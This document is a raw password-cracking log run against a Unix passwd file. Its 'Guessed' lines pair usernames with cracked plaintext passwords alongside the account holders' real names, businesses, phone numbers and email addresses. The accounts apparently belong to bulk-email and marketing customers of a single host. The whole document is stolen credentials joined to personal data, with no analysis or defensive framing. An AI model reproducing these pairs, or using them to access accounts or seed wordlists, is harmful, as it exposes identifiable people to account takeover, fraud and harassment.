Guessed yourreply [yourreply [REPORTS]]  Vince Bedell,AAA Discount,702-564-9651,vince2602 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed wholesale [wholesale [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed profitsnow [profitsnow [MATTG]]  Matt Glaspie,,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed freshair [freshair [BRADNEAR]]  Brad Near,,, [etc_passwd.fixed /bin/tcsh]
Guessed succeednow [succeednow [MARTINR]]  Martin Ruiz,Golden Success,904-532-9753,martin at goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed cmc [cmc [RANDYC]]  Wayne Cook,712-252-2154,, [etc_passwd.fixed /bin/tcsh]
Guessed contacts [contacts [MARTINRU]]  Martin Ruiz,Golden Success,904-532-9753,martin at goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed a1amway [a1amway [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed bizinfo [bizinfo [FLIGHT]]  Shawn Bogardus,Worldnet Data Services,301-926-6882, [etc_passwd.fixed /bin/tcsh]
Guessed profitsonline [profitsonline [MATTG]]  Matt Glaspie,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasmlm [gasmlm [GSCHMIDT]]  Dr. George Schmidt,Gardens Eyecare,407-622-8200,Dr.Schmidt at usa.net [etc_passwd.fixed /bin/tcsh]
Guessed infosoft [infosoft [BRANDY]]  Jay Pinkus,         ,215-953-8239, [etc_passwd.fixed /bin/tcsh]
Guessed ion [ion [MATTG]]  Matt Glaspie,ION,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed mktamerica [mktamerica [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed futureplan [futureplan [STMARTIN]]  Tracy Dickson-Depaoli,Neways Inc.,604-526-6721, [etc_passwd.fixed /bin/tcsh]
Guessed inside [inside [INFO1]]  Mark A. Watts,Inside Access,503-612-0538,insideacc at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed healthnow [healthnow [HARRY1]]  Thomas M. Cox,,dodger3 at laker.net, [etc_passwd.fixed /bin/tcsh]
Guessed sms [sms [HARRY1]]  Suzanne Schnell,,206-953-9372, [etc_passwd.fixed /bin/tcsh]
Guessed success1 [success1 [PROMO1]]  GREG SCUDDER,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed yousave [yousave [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed paulott [paulott [PAULOTT1]]  Paul Ott,941-731-7855,pott123 at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed savenow [savenow [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed utilizatt [utilizatt [FREEDOM2]]  Joe Reynolds,Free Eagles Enterprises,, [etc_passwd.fixed /bin/tcsh]
Guessed eric [eric [DIANE2]]  Eric Lederman,,714-951-9027, [etc_passwd.fixed /bin/tcsh]
Guessed contino [contino [CAREER4]]  Carl Contino,First Family Internet Services,716-834-0057,contino at ffinternet.com [etc_passwd.fixed /bin/tcsh]
Guessed emailfarmer [emailfarmer [RENERENE]]  BARRY DISNEY,,, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouse [lighthouse [DATADATA]]  Mimi Morissette,,503-203-1349, [etc_passwd.fixed /bin/tcsh]
Guessed earthtrust [earthtrust [DATADATA]]  Mimi Morressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed empire [empire [RENERENE]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed earthangels [earthangels [DATADATA]]  Mimi Moiressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed futurenet [futurenet [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouses [lighthouses [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed astrology [astrology [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed bkinfo [bkinfo [RAYRAY]]  Kareem Hassan,,216-439-1019,hawk7640 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldenaura [goldenaura [DATADATA]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed shakespeare [shakespeare [DATADATA]]  Mim i Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed rolyatge [rolyatge [DRAWDE]]  George Taylor,,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed rolyat [rolyat [DRAWDE]]  George Taylor,Taylor Computerized Services,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed details13 [details13 [111111]]  Dave,Sheehan & Associates,,dave at ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed ompd [ompd [111111]]  Dave Sheehan,,708-954-9101, [etc_passwd.fixed /bin/tcsh]
Guessed detailsnow [detailsnow [000000]]  Bob Wagner,,305-534-2769, [etc_passwd.fixed /bin/tcsh]
Guessed remove3 [remove3 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave at ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details14 [details14 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave at ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details15 [details15 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave at ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9 [vlk9 [123456]]  ,VLK9 Network,602-874-9247,kat187 at juno.com [etc_passwd.fixed /bin/tcsh]
Guessed details12 [details12 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave at ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed hitme [hitme [000000]]  Bob Wagner,Amerinet,305-534-2769,amerinet at bridge.net [etc_passwd.fixed /bin/tcsh]
Guessed mkiely [mkiely [12345]]  Al Walentis,VG Productions,610-370-2340,cyber1 at nni.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9a [vlk9a [123456]]  Nancy A Tietien,VLK9 Network,602-874-9247,kat187 at juno.com [etc_passwd.fixed /bin/tcsh]
Guessed lists [lists [JOSHUA]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed website [lists [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed morinfo [morinfo [CESSNA]]  John Fraine,,941-732-1872,hirate at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ragesking [ragesking [KIMMY]]  Gary S. Kuzel,,630-985-5191,gskinc at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed pichx [pichx [DRAGON]]  Bernhard Bowitz,,852-9-190-3688, [etc_passwd.fixed /bin/tcsh]
Guessed srdindusry [srdindusry [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed softcell [softcell [SOFTIE]]  Adam Morgan / Softcell,,212-953-5234, [etc_passwd.fixed /bin/tcsh]
Guessed glory [glory [HUMBOLDT]]  Pamela Murphy,,901 784-6036, [etc_passwd.fixed /bin/tcsh]
Guessed mybox [mybox [FORWARD]]  Thomas Cox,,, [etc_passwd.fixed /bin/tcsh]
Guessed xtraco [xtraco [ORANGES]]  Joseph Ambrose,,800-247-0792 / 810-767-8405 / 810-767-1884,xtraco at cris.com [etc_passwd.fixed /bin/tcsh]
Guessed eznrg [eznrg [DIAMOND]]  Kim Krueger,,602-878-8812, [etc_passwd.fixed /bin/tcsh]
Guessed a030253 [a030253 [SIERRA]]  GEORGE NIELSEN,01133130324163,, [etc_passwd.fixed /bin/tcsh]
Guessed egtech [egtech [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed homelab [homelab [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed mktginfo [mktginfo [MARTHA]]  Robert Hutton,,,RHutton at mail.idt.net [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus2 [mikeplus2 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed vistagroup [vistagroup [KODIAK]]  George Gaul,The Vista Group,303-674-2256,captain at ecentral.com [etc_passwd.fixed /bin/tcsh]
Guessed thanku [thanku [ELBOWS]]  Doug Sutton,,, [etc_passwd.fixed /bin/tcsh]
Guessed herbalpc [herbalpc [SPUNKY]]  Pat Connolly / Joyce,,309-691-1762,herbalpc at ix.netcom.com [etc_passwd.fixed /bin/tcsh]
Guessed testing [testing [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed wolfgang [wolfgang [OLIVER]]  Bui VaneLinde,,, [etc_passwd.fixed /bin/tcsh]
Guessed llgun [llgun [LOKEY]]  Lois Gunnerson,Dynamic Marketing Group,602-949-0031, [etc_passwd.fixed /bin/tcsh]
Guessed xpres [xpres [LANSING]]  Shawn Sageghieh,Email Express,714-568-9688,714-443-4559 [etc_passwd.fixed /bin/tcsh]
Guessed give [give [TUCKER]]  Jay Holtman,,312-666-4956, [etc_passwd.fixed /bin/tcsh]
Guessed zen [zen [KITTY]]  Joe Zielinski,Z Lite,708-720-4929, [etc_passwd.fixed /bin/tcsh]
Guessed mustsee [mustsee [JACKSON]]  Tom Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed aopptun [aopptun [BENNIE]]  AMOS FISHER,,, [etc_passwd.fixed /bin/tcsh]
Guessed amnat3 [amnat3 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed hologram [hologram [PHONECAR]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed injuredjoe [injuredjoe [CAPTAIN]]  Todd Syska,,914-266-8322, [etc_passwd.fixed /bin/tcsh]
Guessed healthy4u [healthy4u [BEGIN]]  Betty M. Colombo,healthyu at juno.com,516-541-3001,516-541-3079 [etc_passwd.fixed /bin/tcsh]
Guessed tntalgae [tntalgae [FROSTY]]  Todd Thompson,,303-765-5950, [etc_passwd.fixed /bin/tcsh]
Guessed gks [gks [DANCER]]  Callie Goodrum,GKS Enterprises,706-554-6181, [etc_passwd.fixed /bin/tcsh]
Guessed praetor [praetor [TEMP]]  Dave Browning,,, [etc_passwd.fixed /bin/tcsh]
Guessed midstateop [midstateop [SPIKE]]  Terry Eisenberg,,717-741-1159, [etc_passwd.fixed /bin/tcsh]
Guessed extractor [extractor [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed lorios [lorios [DOLORES]]  Al Brooks,,619-487-9664, [etc_passwd.fixed /bin/tcsh]
Guessed zitbuster [zitbuster [ARTURO]]  Art Sel Barrio,Art *Del* Barrio,210-581-7163, [etc_passwd.fixed /bin/tcsh]
Guessed showcase [showcase [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed ableman [ableman [SEESAW]]  Barry G. Swenson / Reg Hardy,Able Co. Services Inc.,954-565-0270,954-563-1767 [etc_passwd.fixed /bin/tcsh]
Guessed infotape [infotape [STARFISH]]  Delbert Rohm,,509-332-6308, [etc_passwd.fixed /bin/tcsh]
Guessed thegreen [thegreen [PEPPER]]  Mark Olynyk,Green Pages,201-785-0024, [etc_passwd.fixed /bin/tcsh]
Guessed aperillo [aperillo [BUNNER]]  Anthony Perillo,,516-822-6395, [etc_passwd.fixed /bin/tcsh]
Guessed csn [csn [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops at kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed secret [secret [ALEXANDR]]  Thomas Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed details [details [SKIPPY]]  ,Kevin Griffith,770-967-0726, [etc_passwd.fixed /bin/tcsh]
Guessed biznews [biznews [DRAGON]]  Linda Bruton,,510-704-1466, [etc_passwd.fixed /bin/tcsh]
Guessed hummingbrd [hummingbrd [CLOVER]]  gil Gerald,Gil Gerald And Associates,213-953-7980, [etc_passwd.fixed /bin/tcsh]
Guessed minesh [minesh [ASHWIN]]  A. Bhindi,Ambassador Finance,011-44-0081-597-1262,ashinuk at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed JBA1231 [JBA1231 [STARSHIP]]  Jorge Acevedo,,212-856-7658, [etc_passwd.fixed /bin/tcsh]
Guessed freelance [freelance [SELINA]]  Bob Thompson,,864-232-0743, [etc_passwd.fixed /bin/tcsh]
Guessed univer [univer [PIPER]]  James Rockwell,,909-466-1411, [etc_passwd.fixed /bin/tcsh]
Guessed rhutton [rhutton [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131, [etc_passwd.fixed /bin/tcsh]
Guessed agape [agape [LOGOS]]  Adrian Watson,Y.A.M. Incorporated,,hpatrick at nls.net [etc_passwd.fixed /bin/tcsh]
Guessed awareness [awareness [HAPPY]]  Mark Hecox,VAliente Marketing,714-779-7154, [etc_passwd.fixed /bin/tcsh]
Guessed capital [capital [CESSNA]]  Louten Hedgpeth & Jack Langhorne,,910-392-7122,lrhedgpeth at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed infostart [infostart [GOFORIT]]  Gary Brendle,,410-349-1260, [etc_passwd.fixed /bin/tcsh]
Guessed donl [donl [DONELLE]]  Don Lewis,,909-985-0651, [etc_passwd.fixed /bin/tcsh]
Guessed peak [peak [ORGASMIC]]  Ron Goulet,,520-779-5342, [etc_passwd.fixed /bin/tcsh]
Guessed vipvalues [vipvalues [GRACE]]  Michael Franklin,V.I.P.,213 753-9241, [etc_passwd.fixed /bin/tcsh]
Guessed lilleyen [lilleyen [GANDALF]]  Richard Lilley,Lilley Enterprises,905-319-1369, [etc_passwd.fixed /bin/tcsh]
Guessed ozone [ozone [TOWLES]]  Jogn Towles,,817-859-5187, [etc_passwd.fixed /bin/tcsh]
Guessed welcome [welcome [SNOWSTOR]]  Joe Kuhn,,908-220-1110,qwikmail at raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed child [child [MIDAS]]  Bill Panchuck,Showcase,eaglekoz at ix.netcom.com, [etc_passwd.fixed /bin/tcsh]
Guessed cellular [cellular [DISKETTE]]  John Hendrix,Simply Natural Prod,713 484-3490, [etc_passwd.fixed /bin/tcsh]
Guessed sponsors [sponsors [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops at kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed cbccorp [cbccorp [SCOUT]]  Peter Donofrio,,, [etc_passwd.fixed /bin/tcsh]
Guessed autoreply [autoreply [NORTHLAN]]  Karen Nelson,Northland Specialty Products,218-727-8641,rnelson at cp.duluth.mn.us [etc_passwd.fixed /bin/tcsh]
Guessed money4u [money4u [KELLY]]  PJ Graves,P. Graves Publishing,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed stealdeals [stealdeals [ENERGIZE]]  Barry Sowder,,407-332-0400, [etc_passwd.fixed /bin/tcsh]
Guessed gcmkt [gcmkt [CRAWFISH]]  Neil Goodman,,504-766-8843, [etc_passwd.fixed /bin/tcsh]
Guessed autofuture [autofuture [CADILLAC]]  Andre West,,313-709-4667, [etc_passwd.fixed /bin/tcsh]
Guessed freeway1 [freeway1 [SLACKER]]  Brian Perisho,,317-241-4918, [etc_passwd.fixed /bin/tcsh]
Guessed jl [jl [MILAGROS]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed bewealthy [bewealthy [GREENBAC]]  John Wright,334-286-6275,, [etc_passwd.fixed /bin/tcsh]
Guessed freeinfo [freeinfo [CHICLET]]  Alan Lange,,, [etc_passwd.fixed /bin/tcsh]
Guessed deepbreath [deepbreath [ANANDA]]  Dr. Joy Rausmussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed gcprod [gcprod [PRODUC]]  Gary Cuminale,GNC Products,716-381-7132, [etc_passwd.fixed /bin/tcsh]
Guessed infocenter [infocenter [ACCUSER]]  Maynard S. White,,805-945-0351, [etc_passwd.fixed /bin/tcsh]
Guessed grants [grants [TERESA]]  Victor Chapman,CM Consulting,516-377-3307,roger7891 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed vision [vision [THUNDER]]  Paula Stoup,,717-783-6465,paulas1043 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus1 [mikeplus1 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed srdcorp [srdcorp [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed bncentprs [bncentprs [JESUS]]  Robert Goldinger,BNC Enterprises,757-548-2179, [etc_passwd.fixed /bin/tcsh]
Guessed shamrock [shamrock [CYPRESS]]  Tom Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed dlbedding [dlbedding [CHANCE]]  Bill Dantuoson,Donalee Bedding,516-783-9896,billydlm at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed frsecurity [frsecurity [THISISIT]]  Robert Davis,,803-667-0702,jdr02 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed david [david [REBECCA]]  David Richards,717-242-0873,, [etc_passwd.fixed /bin/tcsh]
Guessed pegasustrv [pegasustrv [LIZZIE]]  Claire Covington Altorfer,Pegasus Travel,510-825-5777, [etc_passwd.fixed /bin/tcsh]
Guessed employnews [employnews [INGRID]]  Reginald Barefield,,610-798-7869, [etc_passwd.fixed /bin/tcsh]
Guessed carproinc [carproinc [GROSS]]  Wayne T. Carsey Jr.,Car Pro Inc,916-853-9721,wcarsey at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed alexis [alexis [WHALES]]  Mary Knorr,Medical Herbal Resources,602-678-4362, [etc_passwd.fixed /bin/tcsh]
Guessed topscan [topscan [JUSTIN]]  David Hall,,910-855-6375, [etc_passwd.fixed /bin/tcsh]
Guessed mattken [mattken [INWOOD]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed travelagt [travelagt [GOLDIE]]  David Goldsmith,Hello World Travel,847-673-7610, [etc_passwd.fixed /bin/tcsh]
Guessed coupons [coupons [DISKETTE]]  John Hendrix,,, [etc_passwd.fixed /bin/tcsh]
Guessed salesunlim [salesunlim [COYOTE]]  Ronald Wiley,Sales Unlimited Inc.,908-780-2590, [etc_passwd.fixed /bin/tcsh]
Guessed incomeplus [incomeplus [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed lecram [lecram [BARUCH]]  Rene Roussey,,516-283-4240, [etc_passwd.fixed /bin/tcsh]
Guessed mortgage [mortgage [PEANUT]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed ucan2 [ucan2 [NAMASTE]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed hotbiz [hotbiz [ALBERTA]]  Ted Benedict,,604-535-3304, [etc_passwd.fixed /bin/tcsh]
Guessed sjsent [hotbiz [ALBERTA]]  Steven Spohn,SJS Enterprises,610-987-9272, [etc_passwd.fixed /bin/tcsh]
Guessed findout [findout [SWISHER]]  Ben Vann,Blue Whale Media,910-785-9296,bvann at whalemail.com [etc_passwd.fixed /bin/tcsh]
Guessed prosper [prosper [SITUATIO]]  Daniel Sheehey,,707-822-8324,djshee at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed iaplus [iaplus [SALOME]]  Amos Fisher,,717-354-6594, [etc_passwd.fixed /bin/tcsh]
Guessed light [light [RAYMOND]]  AMOS FISHER,,717 354-4046, [etc_passwd.fixed /bin/tcsh]
Guessed cheapcalls [cheapcalls [MAGICAL]]  Richard Rubenstein,,219-864-2501,rnr at pla.net.net [etc_passwd.fixed /bin/tcsh]
Guessed bigprofits [bigprofits [DROSOPHI]]  Steven Ayer,Internet Marketing Solutions,203-421-5070,bigprofits at writeme.com [etc_passwd.fixed /bin/tcsh]
Guessed powernow [powernow [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed drchris [drchris [PSYCHE]]  Dr. Chris Wolf,,609-983-5129, [etc_passwd.fixed /bin/tcsh]
Guessed amnat1 [amnat1 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed amsquare [amsquare [MOOSEHEA]]  Doug Petersen,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed answers [answers [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed freeads [freeads [BATMAN]]  Bill Guting,,,awt at cwnet.com [etc_passwd.fixed /bin/tcsh]
Guessed college [college [KELLY]]  Pam Graves,,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed powerad [powerad [DENTAL]]  Juanita Boivin,,,urwlthybiz at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed newbuss [newbuss [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed classads [classads [WINTER]]  Robert Pearsall,,, [etc_passwd.fixed /bin/tcsh]
Guessed zee [zee [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed disease [disease [MOOSEHEA]]  Doug Peterson,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed steveplus [steveplus [GIANTS]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed matco [matco [PRAISE]]  John Matthews,,972-226-0491, [etc_passwd.fixed /bin/tcsh]
Guessed legalwon [legalwon [CRITTER]]  Peter Brock,Developmental Learning Concepts,301-949-4422, [etc_passwd.fixed /bin/tcsh]
Guessed siteone [siteone [CIRCLE]]  Richard Scott,Richard Scott + Assoc.,334-928-8406, [etc_passwd.fixed /bin/tcsh]
Guessed sandman [sandman [BLASTER]]  Ed Sand,,406-684-5759, [etc_passwd.fixed /bin/tcsh]
Guessed disneygroup [disneygroup [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed sevenmil [sevenmil [DOROTHY]]  Eric Ralls,New Horizons,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed adman [adman [CRYSTAL]]  Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh]
Guessed solar1 [solar1 [SHOPPING]]  Gary Corbitt,,310-338-1019, [etc_passwd.fixed /bin/tcsh]
Guessed b6024 [b6024 [PATIENCE]]  Tom Benedict,Tom Benedict,813-528-1548, [etc_passwd.fixed /bin/tcsh]
Guessed online [online [LOVER]]  Joe Cola,Bank Card Systems,800-563-7832, [etc_passwd.fixed /bin/tcsh]
Guessed invest [invest [CRYSTAL]]  Benjamin Ice,,,jammerjoe at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gocell [gocell [AMANDA]]  Lawrence Falco,L & S Marketing,516-821-1125, [etc_passwd.fixed /bin/tcsh]
Guessed donow [donow [TURNAROU]]  Bradley Near,,602-954-1809, [etc_passwd.fixed /bin/tcsh]
Guessed laptop [laptop [MUSIC]]  Thomas Cox,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed mktgconcepts [mktgconcepts [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131,rhutton at idt.net [etc_passwd.fixed /bin/tcsh]
Guessed wholesaleprices [wholesaleprices [MARIAM]]  Mohammad Hanif,,972-669-2223,compumart at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed removeme [removeme [ERASER]]  Dave Mann,,, [etc_passwd.fixed /bin/tcsh]
Guessed allnatural [allnatural [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed welltrend [welltrend [BUMBLE]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed mquest [mquest [OOPS]]  Phil Brown,Merchant Quest,541-742-6206,pbrown at pdx.oneworld.com [etc_passwd.fixed /bin/tcsh]
Guessed health [health [JESUS]]  Randy Haugen,Cypress Marketing Inc,303-763-5787, [etc_passwd.fixed /bin/tcsh]
Guessed rcenterpi [rcenterpi [HALFWAY]]  Ron Mayfield,,417-445-2602 or 417-445-6797,roncan at juno.com [etc_passwd.fixed /bin/tcsh]
Guessed tvlsecrets [tvlsecrets [CAVIAR]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed protection [protection [MOOSEHEA]]  Doug Peterson,,, [etc_passwd.fixed /bin/tcsh]
Guessed robtym [robtym [MAKEMYDA]]  Tom Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed networkes [networkes [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed helpme [helpme [CORKIE]]  Doug Sutton,905-567-1874,, [etc_passwd.fixed /bin/tcsh]
Guessed profile [profile [METHOD]]  Joe Kuhn,908-220-1110,qwikmail at raven.cybercomm.net, [etc_passwd.fixed /bin/tcsh]
Guessed adna1 [adna1 [MAYE]]  Adna Dalessandro,,216 779-1136, [etc_passwd.fixed /bin/tcsh]
Guessed response [response [STINKY]]  Steve Brown,Business Solutions South,601-832-5031, [etc_passwd.fixed /bin/tcsh]
Guessed anyahu [anyahu [ANKLES]]  Doug Sutton,Winning Edge Systems,905-567-1874, [etc_passwd.fixed /bin/tcsh]
Guessed secret1 [secret1 [ALEXANDR]]  John (see secret),see secret,see secret,see secret [etc_passwd.fixed /bin/tcsh]
Guessed ezwork [ezwork [ACCESS]]  Glenda Smith,,216-291-4589,gs72895 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed herb [herb [TINSEL]]  Bob Keegan,,215-493-0706, [etc_passwd.fixed /bin/tcsh]
Guessed cash [cash [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed choice3 [choice3 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed yucan2 [yucan2 [OLIVER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed rainbow [rainbow [WILBUR]]  Patrice Lowe,,219-397-6615, [etc_passwd.fixed /bin/tcsh]
Guessed choice4 [choice4 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed jeps318 [jeps318 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]
Guessed mortgages [mortgages [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed blizzard97 [blizzard97 [BETSY]]  David Woldt,,605-886-3654,turbo41 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mecca [mecca [BACKWARD]]  Thomas Cox resell,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed teezer [teezer [TEASER]]  Dan Herzner,,914-769-6700, [etc_passwd.fixed /bin/tcsh]
Guessed help4u [help4u [MINERAL]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed free800 [free800 [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed bdbem [bdbem [ANNIE]]  Louis Salatto,,203-483-8634, [etc_passwd.fixed /bin/tcsh]
Guessed tpn1996 [tpn1996 [TALONS]]  Richard Mathiason,,707-642-8632, [etc_passwd.fixed /bin/tcsh]
Guessed rdlpinfo [rdlpinfo [PARKER]]  Peter Vaglica,,,tlpc at gte.net [etc_passwd.fixed /bin/tcsh]
Guessed healthwealth [healthwealth [JESUS]]  Diane Goselin,,508-791-6828, [etc_passwd.fixed /bin/tcsh]
Guessed eleven [eleven [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed infosales1 [infosales1 [BEAR]]  Steve Crockett,,904-857-7717,infosales1 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed secrets [secrets [PICKUP]]  Lillian & John Eagan,,908-431-4366, [etc_passwd.fixed /bin/tcsh]
Guessed marketinfo [marketinfo [PARKER]]  Peter Vaglica,,,tlpc at gte.net [etc_passwd.fixed /bin/tcsh]
Guessed kangaroo [kangaroo [LYDIA]]  Matthew Silverman,,508-369-4560, [etc_passwd.fixed /bin/tcsh]
Guessed wealth [wealth [KELLY]]  Chris Molinari,Adler Publishing,408-353-3141, [etc_passwd.fixed /bin/tcsh]
Guessed difaznet [difaznet [GORDO]]  Ray DiFazio,,415-668-5161, [etc_passwd.fixed /bin/tcsh]
Guessed bizopp [bizopp [ALBERTA]]  Ted Benedict,,, [etc_passwd.fixed /bin/tcsh]
Guessed offshore1 [offshore1 [JAMAICA]]  Denise Cook,Marketing Ect Trust,602-979-4844,dicook at sisna.com [etc_passwd.fixed /bin/tcsh]
Guessed diet30 [diet30 [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed sales [sales [CARRIER]]  Brad Konia,,610-437-1000,brad at fastcolor.com [etc_passwd.fixed /bin/tcsh]
Guessed blessdlife [blessdlife [SUNSHINE]]  Prasit K. Frazee,Lifetronix,704-536-3779,blessdlife at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed jeps317 [jeps317 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]
Guessed souvenirs [souvenirs [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,,hoops at kudos.net [etc_passwd.fixed /bin/tcsh]
